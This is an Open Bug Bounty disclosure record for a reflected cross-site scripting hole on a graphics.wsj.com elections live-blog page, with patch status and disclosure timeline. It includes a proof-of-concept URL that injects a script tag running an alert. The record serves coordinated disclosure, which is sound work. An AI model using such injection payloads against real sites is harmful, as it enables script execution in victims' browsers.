graphics.wsj.com XSS vulnerability

2016-12-04T23:06:00
ID OBB:196243
Type openbugbounty
Reporter TvM
Modified 2017-11-25T09:24:00

Description

Vulnerable URL:
http://graphics.wsj.com/elections/2016/live-blog-cards/?id="%3E%3C/script%3E%3Cscript%3Ealert('OPENBUGBOUNTY')%3C/script%3E%3Cscript%3E
Details:

Description| Value
---|---
Patched:| Yes, at 25.11.2017
Latest check for patch:| 25.11.2017 09:24 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check graphics.wsj.com SSL connection:| (Grade: A-)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 4 December, 2016 23:06 GMT
Generic security notifications sent to website owner| 4 December, 2016 23:09 GMT
Notification sent to subscribers (without technical details)| 5 December, 2016 02:17 GMT
Vulnerability details disclosed by researcher| 26 February, 2017 23:14 GMT
Vulnerability patched by the website owner| 25 November, 2017 09:24 GMT